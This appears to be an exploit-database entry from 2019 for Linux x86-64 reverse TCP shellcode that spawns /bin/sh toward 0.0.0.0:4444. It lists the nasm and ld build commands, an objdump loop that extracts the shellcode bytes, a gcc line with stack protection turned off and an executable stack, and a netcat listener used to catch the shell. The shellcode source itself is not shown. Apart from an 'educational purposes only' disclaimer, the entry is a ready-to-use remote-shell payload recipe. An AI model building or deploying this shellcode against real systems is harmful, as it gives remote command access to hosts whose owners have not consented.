Exploits / Vulnerability Discovered : 2019-06-24 |
Type : shellcode |
Platform : linux_x86-64
This exploit / vulnerability Linux/x86_64 reverse (0.0.0.0:4444/tcp) shell (/bin/sh) shellcode is for educational purposes only and if it is used you will do on your own risk!
compilation and execution of assembly code
-------------------------------------
nasm -felf64 reverse.nasm -o reverse.o
ld reverse.o -o reverse
---------------------------
dumping binaries
----------------------------------------------------------------------------------
for i in $(objdump -d reverse |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
----------------------------------------------------------------------------------
C program
-------------------------------------------------------------------
gcc -fno-stack-protector -z execstack reverse_tcp.c -o reverse_tcp
----------------------------------------------------------------
test:
open a terminal and run this " nc -l 0.0.0.0 4444 "
after you have done that,
open another one and run a shellcode